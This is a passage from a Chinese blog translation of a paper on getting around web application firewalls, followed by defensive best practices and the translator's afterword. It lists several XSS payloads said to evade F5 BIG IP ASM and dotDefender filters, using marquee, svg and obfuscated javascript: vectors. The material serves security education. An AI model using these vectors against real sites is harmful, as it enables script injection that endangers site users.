上面的向量僅在IE6和更早版本中的opera有效,在寫這些的時候我們確實還有一些對F5、BIG IP和Palo ALTO有效的向量,使用這些向量可以在現在的瀏覽器中執行JavaScript腳本。不過,在我們決定不公開的時候供應商也正在忙着修復這些問題
這是另一個可以繞過F5 BIG IP ASM的:
“/><marquee onfinish=confirm(123)>a</marquee>
7.1.4 繞過Dot Defender
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
結論:
到這里可以得出結論,黑名單不是一個完美的解決方案,也無法成為完美的解決方案;黑名單可以節省時間,然而,它使得應用相比白名單有更多地漏洞。我們希望能像WAF供應商推薦下面這些最佳實踐
1)開發人員和管理員應該記住,除非漏洞從源代碼級別打上了補丁,否則WAF只是用於已知的漏洞控制器/參數的短時間內的安全機制
2)給WAF的簽名數據庫及時更新並在上線前對其進行測試以確保按預期的方式運行
3)WAF僅當配置有特定控制器/參數的簽名時才能提供幫助,因此它需要手工定義期望的值得類型、最小/最大長度、content-type等參數以確保WAF在遇到入侵請求時能知道什么時候該阻塞、什么時候該報警
4)如果WAF依賴於黑名單,你要讓你的簽名庫保持最新並周期性地核實WAF維護者發布的新簽名,確保它可以阻塞已知的瀏覽器bug
0x3 后記
翻譯到這里就算結束了,在內容和質量上相比烏雲上的那篇其實並沒有什么突破,排版方面也比較草率。不得不說的是,寫一篇自己的博客真的很耗時間,以上一篇博客為例,跟這篇一樣是翻譯的,但是由於前者文字較多,而且原文也比較隨意,加上自己英語水平還有很大改進空間,花了很長時間。大致變成中文后,考慮到這種技術性的paper都會附有代碼和截圖,在排版等方面也得稍微花點時間,最終完成后,自己對該篇博客內容的理解也有了更深的理解,在這里向那些寫paper的達人們致敬。以前在博客上寫東西是作為筆記用的,自己需要的時候可以隨手查閱,但是慢慢發現這樣做的時候常常會太過於隨意,也缺乏深入的思考,不太可取,還是發點有內容的東西吧。發博客是記錄個人成長的一種很好的方式,也能促發人進行深入的思考或研究,翻譯是一件不錯但辛苦的事,不管怎么樣也限於中國制造,我們需要的更多地是中國創造。